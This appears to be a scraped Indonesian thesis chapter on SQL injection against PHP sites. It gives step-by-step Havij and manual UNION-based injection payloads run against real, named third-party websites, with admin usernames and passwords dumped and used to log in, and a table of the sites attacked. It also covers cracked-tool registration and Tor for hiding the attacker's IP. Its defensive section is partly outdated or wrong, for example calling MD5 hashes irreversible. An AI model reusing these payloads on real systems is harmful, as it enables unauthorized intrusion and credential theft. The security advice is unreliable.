• Tidak ada hasil yang ditemukan

BAB 4 IMPLEMENTASI DAN EVALUASI

N/A
N/A
Protected

Academic year: 2021

Membagikan "BAB 4 IMPLEMENTASI DAN EVALUASI"

Copied!
60
0
0

Teks penuh

(1)

 

40  BAB 4

IMPLEMENTASI DAN EVALUASI

4.1 Prosedur Operasional

Sub bab operasional merupakan sebuah bagian dari prosedur dalam menjalankan implementasi serangan SQL Injection, dengan menggunakan sebuah tools yang dipergunakan untuk membantu melakukan serangan SQL Injection pada beberapa web target yang berbasis platform PHP.

4.1.1 Instalasi Havij

Havij Pro 1.15 Portable, digunakan untuk SQL Injection, proses instalasinya sebagai berikut :

1. Buka folder Havij, kemudian pilih Havij.exe

Gambar 4.1 Folder Havij

2. Setelah di klik maka akan muncul jendela berikut ini. Kemudian pilih register.

(2)

 

Gambar 4.2 Registrasi Havij I

3. Setelah itu tulis nama registrasi pada bagian “Name

(3)

 

4. Kemudian pada file, klik browse folder dan pilih file Havijkey.lc yang berada pada folder yang sama dari Havij.exe

Gambar 4.4 Folder HavijKey

5. Setelah itu klik register

(4)

 

6. Kemudian akan muncul pop-up yang menyatakan bahwa registrasi telah sukses dilakukan.

Gambar 4.6 Hasil Registrasi Havij

4.1.2 Instalasi TOR

TOR merupakan software yang menggunakan konsep Onion Routing, namun ia hanya mendukung browser Firefox karena menggunakan add-ons. Dan

software ini berjalan pada platform Windows, baik Windows XP maupun

Windows Seven.

1. Jalankan installer Vidalia, dalam contoh ini menggunakan vidalia-bundle-0.2.2.4-0.2.15

(5)

 

2. Pilih English sebagai selectedlanguage, kemudian klik Ok

Gambar 4.8 Option Language Vidalia

3. Klik Next

(6)

 

4. Pilihan akan di selectall secara otomatis, kemudian klik Next

Gambar 4.10 Vidalia Setup Components

5. Kemudian pilih lokasi driver untuk instalasi, lalu klik Install

(7)

 

6. Klik Next

Gambar 4.12 Instalasi Vidalia

7. Proses instalasi telah selesai dilakukan, klik Finish

(8)

 

8. Pada Firefox akan muncul jendela untuk install add-ons Torbutton. Pilih Install now. Torbutton berguna untuk mengaktifkan TOR pada browser.

Gambar 4.14 Instalasi Tor dalam Add-ons

9. Add-ons Torbutton telah selesai di install

(9)

 

10.Saat Torbutton telah di install, maka perlu dilakukan restart pada Firefox agar Torbutton dapat berfungsi.

Gambar 4.16 Restart Firefox

11.Akan muncul pop-up dari Vidalia Control Panel yang berguna sebagai pengaturan untuk start dan stop TOR. Pada gambar ini sedang dilakukan konfigurasi ke jaringan TOR.

(10)

 

12.Koneksi ke jaringan TOR telah selesai dilakukan, maka TOR sudah dapat digunakan untuk mengubah IP dengan mengunakan browser.

Gambar 4.18 Tor yang Terhubung

13.Ke jendela Firefox lalu klik kanan pada tulisan Tor Enabled yang berwarna merah, kemudian pilih Toggle TOR status untuk mengaktifkan TOR di browser.

(11)

 

14.Setelah klik Toggle TOR status maka TOR Disabled yang berwarna merah akan berubah menjadi TOR Enabled yang berwarna hijau. Jika sudah sampai tahap ini maka TOR sudah bisa digunakan untuk mereverse IP.

Gambar 4.20 TOR Dalam Firefox

15.IP bisa diperiksa dengan mengunjungi situs yang menyediakan pemeriksaan IP. Pada contoh ini menggunakan www.whatismyipaddress.com yang menyatakan bahwa IP yang digunakan berasal dari Budapest, Hungaria. IP lokal telah berhasil disembunyikan.

(12)

 

Namun TOR hanya bisa berfungsi pada web aplikasi. Jika melakukan serangan yang melibatkan jaringan langsung tanpa perantara web application, maka IP lokal akan terdeteksi. Dan TOR hanya bisa digunakan pada browser Firefox.

4.2 Implementasi Pencarian Halaman Vulnerable

Sub bab implementasi serangan adalah bagian yang menunjukkan langkah – langkah melakukan serangan SQL Injection pada sebuah web vulnerable dengan menggunakan tools Havij maupun dengan cara melakukan serangan SQL Injection melalui inputan URL pada web target.

4.2.1 Penyerangan SQL Injection pada PHP

Pada contoh implementasi serangan SQL Injection, menggunakan tools Havij 1.15. Untuk menggunakan tools ini sebelumnya perlu mencari web target yang vulnerable serta pada URL web target terdapat karakter ‘=’ contoh : http://www.target.com/index.php?id=123. Berikut ini adalah langkah – langkah dalam melakukan serangan SQL Injection, sehingga akan didapatkan database serta hak akses sebagai administrator pada sebuah web tertentu.

Langkah – langkah serangan SQL Injection pada web pertama, sebagai berikut :

(13)

 

Gambar 4.22 Web target 1

2. Cari halaman web target yang terdapat karakter ‘=’.

(14)

 

3. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya.

Gambar 4.24 URL dalam Havij

4. Klik button Analyze untuk memulai proses analisis terhadap web target.

(15)

 

5. Nama database dari web target telah didapatkan, kemudian klik Tab Tables

Gambar 4.26 Database Hasil Havij

6. Setelah itu tabel-tabel yang terdapat pada nama database tersebut akan di ekstrak. Kemudian klik Tab Get Tables

(16)

 

7. Pilih nama tabel yang ingin ekstrak. Pada kasus ini pilih untuk mengekstrak tabel administrator. Kemudian klik Tab Get Columns

Gambar 4.28 Pemilihan M enganalisa Kolom pada Suatu Tabel

8. Pilih field yang ingin diperoleh datanya. Pada kasus ini pilih isi dari

fieldusername dan passwd. Kemudian klik Tab Get Data

(17)

 

9. Username dan password administrator pada contoh web pertama

telah berhasil didapatkan.

Gambar 4.30 Data dari Database Target

10.Klik Tab Find Admin untuk mendapatkan halaman login administrator.

(18)

 

11.Buka link URL administrator yang telah didapatkan dari hasil pada langkah sebelumnya di browser.

Gambar 4.32 Halaman Administrator Target 1

12.Lakukan login menggunakan account administrator yang telah didapatkan sebelumnya.

(19)

 

13. Login sebagai administrator berhasil, maka implementasi serangan

SQL Injection telah berhasil dilakukan.

Gambar 4.34 Halaman Web Sebagai Administrator

Langkah – langkah serangan SQL Injection pada web kedua, sebagai berikut :

1. Buka halaman web target pada browser. Kemudian cari halaman web target yang terdapat karakter ‘=’.

(20)

 

2. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya. Kemudian klik button Analyze untuk memulai proses analisis terhadap web target.

Gambar 4.36 Hasil Analisis Havij

3. Nama database dari web target telah didapatkan, kemudian klik Tab

Tables . Setelah itu tabel-tabel yang terdapat pada nama

database tersebut akan di ekstrak. Kemudian klik Tab Get Tables

(21)

 

4. Pilih nama tabel yang ingin diekstrak. Pada kasus ini pilih untuk mengekstrak table administrator. Kemudian klik Tab Get Columns

Gambar 4.38 Kolom Hasil Havij

5. Pilih field yang ingin diperoleh datanya. Pada kasus ini pilih untuk mendapatkan isi dari field id, nama dan password. Kemudian klik Tab

Get Data . Username dan password administrator pada

contoh web kedua telah berhasil didapatkan.

(22)

 

6. Klik Tab Find Admin untuk mendapatkan halaman login administrator.

Gambar 4.40 Halaman Administrator Hasil Havij

7. Buka link URL administrator yang telah didapatkan dari hasil pada langkah sebelumnya di browser.

(23)

 

8. Lakukan login menggunakan account administrator yang telah didapatkan sebelumnya.

Gambar 4.42 Login Sebagai Administrator pada Web Target 2

9. Login sebagai administrator berhasil, maka implementasi serangan

SQL Injection telah berhasil dilakukan.

(24)

 

Langkah – langkah serangan SQL Injection pada web ketiga, sebagai berikut :

1. Buka halaman web target pada browser.

Gambar 4.44 Halaman Web Target 3

2. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya. Kemudian klik button Analyze untuk memulai proses analisis terhadap web target.

(25)

 

Pada web ketiga gagal untuk dilakukan serangan SQL Injection menggunakan Havij.

Langkah-langkah SQL Injection pada URL

Target : http://puzzle-spot.co.cc/produk.tampilan.php?produkid=1

Gambar 4.46 Halaman Web Target SQL Injection Pada URL

1. Cek bug pada suatu web dengan menambahkan single quote ( ' ) dibelakang URL, jika muncul pesan error “Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in/home/a9598479/public_html/produk.tampilan.php on

line 95” maka dapat dikatakan bahwa web target memiliki celah

keamanan dan dapat di serang dengan SQL Injection.

(26)

 

2. Untuk mencari kolom gunakan perintah [order by]. order by 1— dimulai dengan angka 1, selanjutnya 2, dan seterusnya sampai muncul pesan error pada web target, error muncul pada angka 9. “Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in/home/a9598479/public_html/produk.tampilan.php on line 95”

http://puzzle-spot.co.cc/produk.tampilan.php?produkid=1 order by 9— jadi angka yang diambil adalah 9-1 = 8 (jumlah kolom adalah 8).

Gambar 4.48 Cek Jumlah Kolom I

(27)

 

Gambar 4.50 Cek Jumlah Kolom III

3. Selanjutnya akan dicari angka urutan tabel yang paling mudah diserang dimana bisa dilakukan injeksi dengan perintah [union all select]. Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter id=1 menjadi id=-1

http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all select 1,2,3,4,5,6,7,8--

akan muncul angka : 2

(28)

 

4. Selanjutnya cari versi Database MySql-nya dengan perintah "version()" pada angka 2.

http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all select 1,version(),3,4,5,6,7,8--

muncul tulisan : 5.1.57 yang berarti web target menggunakan M ySql versi 5.1.57.

Gambar 4.52 Cek Versi MySQL

5. Selanjutnya akan dicari tabelnya dengan perintah "group_concat(table_name)" pada angka yang telah didapatkan pada langkah ketiga dan "from information_schema.tables where table_schema=database()--" dibelakang angka 8

http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all

select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where

table_schema=database()--muncul nama – nama tabel : admin, event, kategori, orders, orders_item, produk, status, user.

(29)

 

6. Selanjutnya cari kolom dari tabel yang ada hubungannya dengan user

dan password, kali ini ambil tabel "admin" tetapi sebelumnya konversike

hexa agar dapat dibaca pada ASCII text ketik admin lalu klik ASCII to Hex, hasilnya di kolom Hex Value : 61:64:6d:69:6e. Hilangkan tanda titik dua ( : ) sehingga menjadi 61646d696e.

Perintah selanjutnya adalah "group_concat(column_name)" pada angka 2 yang didapat pada langkah ketiga dan "from information_schema.columns wheretable_name=0xHexa--" di akhir URL yaitu 61646d696e tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah dikonversi ke hexa.

http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name=0x61646d696e--

muncul kolom : id, nama, password.

Gambar 4.54 Web Convert ASCII ke Dalam Hexa

(30)

 

7. Untuk melihat isi dari kedua kolom tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka yang telah dilakukan saat langkah ketiga dan from NAMATABLE—pada akhir URL ganti column1 dengan "nama" dan column2 dengan "password". 0x3a adalah tanda titik dua( : ) yang telah dikonversi ke hexa. NAM A TABLE diganti dengan "admin" untuk mengambil informasi dari table yang bernama "admin"

http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1unionallselect1,group_concat(nama,0x3a,password),3,4,5,6,7,8fromadm

inistrator--hasilnya akan muncul: admin:admin, yang berarti,

username : admin

password : admin

sekarang tinggal login ke web target.

Gambar 4.56 Data dari SQL Injection

4.3 Implementasi Konfigurasi Pencegahan SQL Injection pada PHP

Implementasi konfigurasi merupakan sub bab yang memaparkan langkah – langkah konfigurasi yang harus dilakukan untuk melakukan pencegahan terhadap

(31)

 

serangan SQL Injection dari berbagai macam celah yang mungkin saja terdapat pada sebuah web yang vulnerable. Implementasi konfigurasi pencegahan serangan SQL

Injection dibahas pada 3 macam implementasi yaitu implementasi pada code PHP dan

penyimpanan file, implementasi pada web server lokal dan implementasi pada web

server melalui jasa webhosting.

4.3.1 Implementasi pada Code PHP dan Penyimpanan File Pada contoh coding seperti ini :

Gambar 4.57 Code PHP Vulnerable

Dapat menimbulkan permasalahan keamanan pada input

username dan password, yang memungkinkan untuk di injeksi dengan

suatu string yang biasa digunakan pada SQL Injection, yaitu ‘ OR ‘’=’ pada field username dan password yang kemudian akan dianggap true, karena pada $query=”SELECT * FROM user WHERE

(32)

 

username’=’$username’ akan digantikan oleh ‘username’=’’ OR ‘

’=’‘seperti pada kasus berikut:

Gambar 4.58 User Interface Web Test

Field pada username dan password diisi dengan ‘ OR ‘’=’ setelah

itu klik submit.

Gambar 4.59 Login Sukses dengan SQL Injection

Berhasil melakukan login hanya dengan menggunakan ‘ OR ‘’=’ 1. Langkah – langkah konfigurasi untuk pencegahan terhadap celah

(33)

 

Gambar 4.60 Syntax mysql_real _escape_string

Saat code telah ditambahkan syntax mysql_real_escape_string(); seperti pada baris ke 11 yang berguna untuk melewatkan karakter spesial dari input pada field

username dan password, maka ‘ OR ’’=’ akan dianggap false

seperti berikut :

Gambar 4.61 User Interface Setelah Syntax mysql_real_escape_string

Untuk lebih jelasnya, cara keja yang dilakukan oleh mysql_real_escape_string(); adalah

(34)

 

Gambar 4.62 User Interface Logika Syntax mysql_real_escape_string

2. Langkah – langkah konfigurasi untuk pencegahan terhadap celah

SQL Injection pada perubahan Return Value :

Pada contoh coding berikut :

Gambar 4.63 Kelemahan Coding PHP Return Value

Di baris ke 15, mysql_num_rows($quesy_run)>=1 terdapat kelemahan, yaitu >=1 karena tidak membatasi jumlah

return value baris yang bisa diterima. Pada database terdapat > 1

(35)

 

Gambar 4.64 User Interface phpMyAdmin

Untuk meningkatkan keamanan dari celah ini, maka perlu dilakukan pembatasan dalam jumlah return value agar yang diterima hanyalah data yang sesuai dengan database. Jika data tidak tercantum pada database, maka login tidak akan berhasil. Hal ini dilakukan dengan mengganti return value menjadi ==1.

(36)

 

Saat return value diubah menjadi ==1 seperti pada baris ke 15, yang membatasi return value hanya pada satu baris, maka yang terjadi pada saat memasukkan input ‘ OR ‘’=’ adalah :

Gambar 4.66 User Interface Setelah Solusi Coding PHP

Login tersebut gagal karena OR tidak terdapat dalam

database. Jika dimasukkan input yang benar dan sesuai dengan

salah satu dari kolom yang ada didalam database, maka input akan diterima.

Gambar 4.67 User Interface Login Success

3. Langkah – langkah untuk menghindari Find Admin pada Havij : Havij dapat melakukan pencarian terhadap halaman administrator dengan melakukan pemeriksaan terhadap kemungkinan – kemungkinan penamaan pada halaman administrator yang biasa digunakan oleh web. Oleh karena itu, untuk melindungi halaman administrator agar tidak berhasil ditemukan oleh penyerang, maka halaman dapat dilindungi dengan cara :

(37)

 

M enghindari penamaan yang umum digunakan seperti

xxxx.com/admin.php; xxxx.com/cpanel; xxxx.com/admin/admin.php dan lain sebagainya. Halaman login

administrator dapat diletakkan ke dalam folder dengan nama yang lebih tidak umum, atau dengan menggunakan folder didalam

folder yang juga menggunakan nama yang tidak umum, seperti

berikut ini :

Gambar 4.68 Havij Find Admin

Havij gagal mendapatkan halaman administrator, karena halaman administrator berada pada folder pages/administrasi/login.php yang ditampilkan sebagai berikut :

(38)

 

Gambar 4.69 Halaman Login Administrator Target Setelah Dikonfigurasi

Dengan tingkat kerumitan penamaan yang hanya diketahui oleh pemilik web atau orang yang bersangkutan, maka pencarian halaman login administrator akan sulit untuk dilakukan, sehingga dapat mencegah penyusup untuk memasuki halaman administrator walaupun ia telah memiliki username dan password administrator.

4. Cara mengantisipasi password leak dengan menggunakan preg_match() dan enkripsi md5().

Dalam melakukan pencegahan terhadap serangan SQL

Injection dan sebagai langkah antisipasi apabila penyerang

berhasil menemukan isi database, maka melakukan enkripsi

password merupakan langkah yang sangat penting dan hal yang

paling mendasar, sehingga data yang diperoleh tidak dapat digunakan untuk mengakses halaman administrator maupun user dari suatu web. Penggunaan password pun harus gabungan dari huruf, angka, maupun spesial karakter agar menyulitkan penyerang jika hendak melakukan proses dekripsi password. Untuk password yang umum digunakan, proses dekripsi sangat mudah dilakukan karena kamus dari hasil enkripsi kata tertentu sudah banyak beredar secara online. Berikut contoh penggunaan

(39)

 

enkripsi password pada suatu web, dalam hal ini enkripsi yang digunakan adalah md5.

Gambar 4.70 User InterfaceWeb yang Terenkripsi

Pada gambar diatas, password yang harus digunakan terdiri dari huruf kecil, huruf kapital, angka dan special karakter, dimana code validasi password menggunakan fungsi preg_match(); untuk menentukan pola tersebut adalah seperti berikut :

(40)

 

Gambar 4.72 Coding Enkripsi PHP Lanjutan

Sehingga, pada saat code dieksekusi, data yang tersimpan pada database menjadi seperti berikut :

Gambar 4.73 Tampilan Password Enkripsi pada Database

Password yang berisi “md5M D5!!” dienkripsi menjadi

“dd1395672066fdd8a1c860f4464c2b30”, jika diuji dengan melakukan dekripsi melalui Havij yang memanfaatkan bermacam – macam decryptoronline, maka hasilnya seperti berikut :

(41)

 

Gambar 4.74 Havij Decryptor

Dan apabila dilakukan pencarian melalui search engine, maka hasilnya seperti berikut :

(42)

 

Hal ini sangat berbeda jika menggunakan password yang umum digunakan, seperti “administrator123!” yang enkripsi md5nya adalah “10c4981bb793e1698a83aea43030a388”. Walaupun terkesan password tersebut kuat karena terdiri dari kombinasi huruf, angka dan spesial karakter, namun dekripsi untuk plain textnya sangat mudah ditemukan. Seperti yang ditemukan oleh Havij pada gambar berikut :

Gambar 4.76 Contoh Password yang Terlihat Strong

Oleh karena itu, menggunakan password yang terlihat kuat saja tidak cukup, tetapi harus menggunakan kombinasi yang sangat unik dan bervariasi agar password menjadi lebih kuat. Terutama password bagi administrator, karena username dan

password administrator paling sering menjadi target dari

(43)

 

4.3.2 Implementasi pada Web Server

Sub bab implementasi pada webserver membahas mengenai konfigurasi apa saja yang mungkin diterapkan di pemilik web jika menggunakan server lokal milik sendiri atau pun menggunakan server yang telah disediakan oleh jasa web hosting.

4.3.2.1 Server Lokal

Field pada username dan password diisi dengan ‘ OR ‘’=’

setelah itu klik submit.

Gambar 4.77 Login Sukses dengan SQL Injection

Berhasil melakukan login hanya dengan menggunakan ‘ OR ‘’=’

1. Langkah – langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax magic_quotes_gpc pada file php.ini :

• M enggunakan sistem operasi Linux

1) Buka aplikasi terminal ataupun console pada Linux.

(44)

 

Gambar 4.78 Letak Terminal Pada Linux

2) Login sebagai root dengan cara ketik perintah su

dan masukkan password root yang digunakan atau jika tidak dapat login sebagai root, harus menambah perintah “sudo” pada setiap awal baris dari perintah – perintah selanjutnya yang akan dilakukan.

Gambar 4.79 Login Terminal Linux

3) Buka file php.ini dengan cara mengetikan perintah pico /etc/php5/apache2/php.ini

(45)

 

4) M engaktifkan on pada syntax magic_quotes_gpc, lalu tekan Ctrl+X, Y kemudian enter untuk menyimpan hasil perubahan pada file php.ini

Gambar 4.81 Tampilan PHP.ini magic_quotes_gpc Pada Linux

• M enggunakan sistem operasi Windows

1) Buka file php.ini yang berada pada directory C:\xampp\php\php.ini

(46)

 

2) M engaktifkan on pada syntax magic_quotes_gpc, lalu tekan Ctrl+S atau klik File >> Save, untuk menyimpan hasil perubahan pada file php.ini

Gambar 4.83 Tampilan php.ini magic_quotes_gpc Pada Windows

Setelah syntax magic_quotes_gpc = On, maka pada saat dilakukan input ‘ OR ‘’=’ maka string akan diterima seperti berikut :

(47)

 

2. Langkah – langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax display_errors pada file php.ini :

• M enggunakan sistem operasi Linux

1) Buka aplikasi terminal ataupun console pada Linux.

Gambar 4.85 Letak Terminal Linux

2) Login sebagai root dengan cara ketik perintah su

dan masukkan password root yang digunakan atau jika tidak dapat login sebagai root, harus menambah perintah sudo pada setiap awal baris dari perintah – perintah selanjutnya yang akan dilakukan.

(48)

 

3) Buka file php.ini dengan cara mengetikan perintah pico /etc/php5/apache2/php.ini

Gambar 4.87 Perintah M embuka File php.ini Pada Linux

4) M engaktifkan off pada syntax display_errors, lalu tekan Ctrl+X, Y kemudian enter untuk menyimpan hasil perubahan pada file php.ini

Gambar 4.88 Tampilan PHP.ini display_errors Pada Linux

• M enggunakan sistem operasi Windows

1) Buka file php.ini yang berada pada directory C:\xampp\php\php.ini

(49)

 

Gambar 4.89 Command Prompt Windows

2) M engaktifkan off pada syntax display_errors, lalu tekan Ctrl+S, untuk menyimpan hasil perubahan pada file php.ini

(50)

 

Setelah syntax display_errors = Off, maka pada saat dilakukan input ‘ maka halaman web tidak akan memunculkan pesan error seperti berikut :

Gambar 4.91 Halaman Web Vulnerable

3. Langkah – Langkah konfigurasi untuk pencegahan terhadap celah SQL Injection dengan melakukan instalasi M od Security :

• M enggunakan sistem operasi Linux

1) Buka aplikasi terminal ataupun console pada Linux.

(51)

 

2) Login sebagai root dengan cara ketik perintah su

dan masukkan password root yang digunakan atau jika tidak dapat login sebagai root, harus menambah perintah sudo pada setiap awal baris dari perintah – perintah selanjutnya yang akan dilakukan.

Gambar 4.93 Login Terminal Linux

3) Ketik perintah apt-get install subversion untuk memulai instalasi mod security. Namun harus terkoneksi dengan jaringan internet untuk melakukan perintah tersebut.

Gambar 4.94 Perintah InstallSubversion Pada Linux

4) Lalu ketik perintah svn co https://mod-

security.svn.sourceforge.net/svnroot/mod-security/m2/trunk modsecurity. Namun harus terkoneksi dengan jaringan internet untuk melakukan perintah tersebut.

(52)

 

5) Kemudian ketik perintah apt-get install libapache-mod-security. Namun harus terkoneksi dengan jaringan internet untuk melakukan perintah tersebut.

Gambar 4.96 Install libapache-mod-security Pada Linux

4.3.2.2 Server Jasa Web Hosting

1. Langkah – langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax magic_quotes_gpc pada file .htaccess :

Gambar 4.97 Konfigurasi htaccess magic_quotes_gpc Pada Hosting

2. Langkah – langkah untuk pencegahan terhadap celah SQL

Injection menggunakan syntax display_errors pada file

(53)

 

Gambar 4.98 Konfigurasi htaccess display_errors Pada Hosting

4.4 Evaluasi

4.4.1 Evaluasi Hasil Serangan SQL Injection

Dari hasil evaluasi yang sudah didapatkan ada berberapa jenis celah terhadap serangan SQL Injection yang mungkin dilakukan pada sebuah web yang

berbasis PHP. Berikut ini adalah daftar tabel web yang telah dilakukan uji coba serangan SQL Injection dengan menggunakan Havij.

Tabel 4.1 Web yang Diserang dengan Havij

No URL SQLi Database Tabel Kolom Data Enkripsi Administrator /Halaman Administrator 1 http://www.oz onegaming.co m/product.php ?id=12 √ √ √ √ √ × × 2 http://spyderc o.com/catalog/ details.php?pr oduct=77 √ × × 3 http://www.se phiroth.it/file_ detail.php?id= 130 √ × √ ×

(54)

  4 http://www.ac -psych.org/inde x.php?id=1 √ × × 5 http://www.ol dvictheatre.co m/whatson.ph p?id=63 √ × × 6 http://www.nu uo.com/produ ct.php?id=12 √ × × 7 http://www.co ppercraft.com/ product.php?p roduct=12 √ × √ × 8 http://www.lc oastpress.com/ journal.php?id =6 √ × 9 http://itsretha. com/_lookboo k-newcollection. php?id=144 × 10 http://puzzle-spot.co.cc/pro duk.tampilan. php?produkid =1 × 11 http://www.hp ol.org/transcri pt.php?id=72 √ × × 12 http://www.ru mahoutlet.co m/index.php? main_page=pr oduct_info&c Path=2_26&p roducts_id=31 28&zenid=76 765bfde63b75 9a892f901de0 732437 × × × × × × 13 http://www.gl odokshop.com /detail_katego × × × × × ×

(55)

  ri.php?kat1= MTI 14 http://www.cit ra.net.id/servic e_detail.php?i d=12 × × × × × × Keterangan tabel :

√ SQLi Æ dapat dilakukan serangan SQLInjection pada web. × SQLi Æ tidak dapat dilakukan serangan SQLInjection pada web. √ Database Æ nama database pada web berhasil didapatkan. × Database Æ nama database pada web gagal didapatkan. √ Tabel Æ nama tabel pada web berhasil didapatkan. × Tabel Æ nama tabel pada web gagal didapatkan. √ Kolom Æ nama kolom pada web berhasil didapatkan. × Kolom Æ nama kolom pada web gagal didapatkan. √ Data Æ data pada web berhasil didapatkan.

× Data Æ data pada web gagal didapatkan.

√ Enkripsi Æ data password yang didapatkan terenkripsi. × Enkripsi Æ data password yang didapatkan tidak terenkripsi.

√ Administrator/Halaman Administrator Æ URL halaman administrator berhasil didapatkan.

× Administrator/Halaman Administrator Æ URL halaman administrator gagal didapatkan.

(56)

 

4.4.1.1 Keberhasilan Serangan

Pada berbagai web yang telah dilampirkan pada tabel diatas, terdapat 11 web yang berhasil dilakukan serangan SQL Injection. Namun

dari beberapa keberhasilan serangan tersebut, dapat dikelompokkan menjadi beberapa hasil keberhasilan serangan.

web pertama, web kedua, web keempat, web kelima, web keenam dan web kesebelas :

SQL Injection dapat dilakukan, database, tabel, kolom

dan data berhasil didapatkan. Selain itu data password tidak terenkripsi, tetapi halaman login administrator tidak didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom dan data menggunakan kata – kata yang sudah umum dan terdapat pada library Havij. Tetapi halaman login administrator tidak bisa didapatkan karena kemungkinan halaman login administrator sudah disembunyikan oleh pemilik web, menggunakan kata – kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder

folder tertentu dan menggunakan kata – kata yang tidak

umum.

web ketiga, dan web ketujuh :

SQL Injection dapat dilakukan, database, tabel dan kolom

berhasil didapatkan. Namun datanya kosong dan halaman

login administrator tidak didapatkan. Pada hasil seperti ini

dapat disimpulkan bahwa pada penamaan database, tabel dan kolom menggunakan kata – kata yang sudah umum dan terdapat pada library Havij. Sedangkan datanya tidak bisa didapatkan karena kemungkinan isi database pada tabel tersebut datanya tidak ada atau datanya sudah

(57)

 

terenkripsi sehingga tidak bisa terbaca oleh library Havij. Selain itu halaman login administrator tidak bisa didapatkan karena kemungkinan halaman login administrator sudah disembunyikan oleh pemilik web, menggunakan kata – kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder

folder tertentu dan menggunakan kata – kata yang tidak

umum.

web kedelapan :

SQL Injection dapat dilakukan, database, tabel, kolom dan

data berhasil didapatkan. Tetapi data password yang didapatkan sudah terenkripsi dan halaman login administrator tidak bisa didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom dan data menggunakan kata – kata yang sudah umum dan terdapat pada library Havij. Tetapi data

password yang terdapat pada halaman web tersebut sudah

dienkripsi menggunakan algoritma tertentu. Sedangkan halaman login administrator tidak bisa didapatkan karena kemungkinan halaman login administrator sudah disembunyikan oleh pemilik web, menggunakan kata – kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folderfolder tertentu dan menggunakan kata – kata yang tidak umum.

web kesembilan dan web kesepuluh :

SQL Injection dapat dilakukan, database, tabel, kolom,

data dan halaman login administrator berhasil didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom, data dan penamaan file

(58)

 

pada halaman login administrator menggunakan kata – kata yang sudah umum dan terdapat pada library Havij.

4.4.1.2 Kegagalan Serangan

Pada berbagai web yang telah dilampirkan pada tabel diatas, terdapat 3 web yang gagal dilakukan serangan SQL Injection. Hasil evaluasi kegagalan serangan SQL Injection terdapat pada contoh web keduabelas, web ketigabelas dan web keempatbelas yang memiliki tipe kegagalan karena kemungkinan pada penamaan database, tabel, kolom, data dan halaman login administrator tidak menggunakan kata – kata yang umum dan tidak terdapat pada library Havij, atau URL pada web target tidak vulnerable karena setelah karakter = bukan angka yang langsung mengarah ke databaseweb target tersebut.

4.4.2 Evaluasi Hasil Konfigurasi Pencegahan SQL Injection pada PHP Setelah dilakukan konfigurasi terhadap celah SQL Injection, seperti implementasi pada code PHP dan penyimpanan file, serta implementasi konfigurasi pada server lokal maupun pada server web hosting.

Evaluasi hasil implementasi code PHP dan penyimpanan file: • Syntax mysql_real_escape_string()

Dengan menggunakan syntax mysql_real_escape_string() pada code PHP, maka dilakukan validasi pada text input, sehingga setiap ada karakter “ ‘ ” pada text input sebuah web akan ditambahkan karakter “ \ ” sebelum karakter “ ‘ ”, sehingga jika user memasukkan input ‘ OR ‘’=’ maka string pada database tidak akan bernilai true.

Returnvalue

Penggunaan return value seperti mysql_num_rows($query_run)==1 hanya akan menerima input sesuai dengan data yang terdapat pada

(59)

 

database. Ia akan menolak setiap input yang tidak terdapat pada

database, maka jika dilakukan percobaan dengan ‘ OR ‘’=’ database

akan menganggap perintah tersebut invalid. • Penyimpanan halaman administrator

Findadmin bisa dilakukan dengan menggunakan tools dan menduga

letak halaman administrator pada web, karena posisi penyimpanan halaman tersebut sangat umum digunakan, misalnya

www.example.com/admin.php. Dengan menyimpan halaman administrator pada folder atau nama yang lebih unik maka dapat

mencegah ditemukannya halaman administrator oleh pihak luar.

• Penggunaan validasi dengan preg_match() dan hash M D5 pada password

Fungsi preg_match() digunakan untuk validasi pola password yang harus digunakan, sehingga user harus memasukkan password yang kompleks. penggunaan hash M D5 dengan password yang kompleks harus

dilakukan, sehingga jika sewaktu-waktu data berhasil didapatkan

password tersebut tidak bisa digunakan oleh peretas karena M D5

merupakan hash satu arah yang tidak bisa di hash balik, dengan didukung tipe password yang kompleks maka akan mencegah peretas dalam mencocokan password dengan layanan M D5 yang tersedia di web,

selain itu dikarenakan kompleksitas password maka akan menyulitkan dalam proses percobaan crackingpassword dengan brute force.

Evaluasi hasil implementasi pada server lokal :

• Penggunaan syntax magic_quotes_gpc pada file php.ini

Dengan mengaktifkan magic_quotes_gpc pada file php.ini, maka dilakukan validasi pada textinput, sehingga setiap ada karakter “ ‘ ” pada

textinput sebuah web akan ditambahkan karakter “ \ ” sebelum karakter “

‘ ”, sehingga jika user memasukkan input ‘ OR ‘’=’ maka string pada

database tidak akan bernilai true.

(60)

 

Dengan menon-aktifkan display_errors yang terdapat pada file php.ini, maka web yang tadinya menampilkan error saat di exploit tidak lagi menampilkan error tersebut sehingga tidak memungkinkan untuk dilakukan injeksi terhadap jumlah tabel.

• Instalasi mod_security pada linux

Dengan melakukan instalasi mod_security pada server lokal yang menggunakan linux, maka web yang tadinya menampilkan error saat di

exploit tidak lagi menampilkan error tersebut sehingga tidak

memungkinkan untuk dilakukan injeksi terhadap jumlah tabel. Evaluasi hasil implementasi pada serverweb hosting :

